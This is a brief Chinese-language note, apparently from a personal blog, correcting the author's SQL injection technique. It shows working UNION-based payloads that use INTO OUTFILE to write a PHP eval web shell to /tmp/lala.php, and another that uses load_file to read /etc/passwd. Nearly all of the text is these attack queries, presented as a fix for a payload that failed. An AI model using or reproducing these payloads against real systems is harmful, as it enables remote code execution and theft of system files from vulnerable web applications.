在sql注入用into outfile写文件的时候,总是这样写:
SELECT id, bookname, publisher, author, price, pic,ptime FROM books WHERE bookname like '%1%' union select 1,(select '<?php @eval($_POST["c"]);?>' INTO OUTFILE '/tmp/lala.php'),3,4,5,6,7
导致文件始终不能写入到指定路径里面
现在才发现应该这样写:
SELECT id, bookname, publisher, author, price, pic,ptime FROM books WHERE bookname like '%1%' union select 1,(select '<?php @eval($_POST["c"]);?>'),3,4,5,6,7 into outfile '/tmp/lala.php';
才能将文件成功写入
自己将load_file搞混了,而select load_file可以在任何位置出现,且可以成功读取文件:
SELECT id, bookname, publisher, author, price, pic,ptime FROM books WHERE bookname like '%1%' union select (select load_file('/etc/passwd')),2,3,4,5,6,7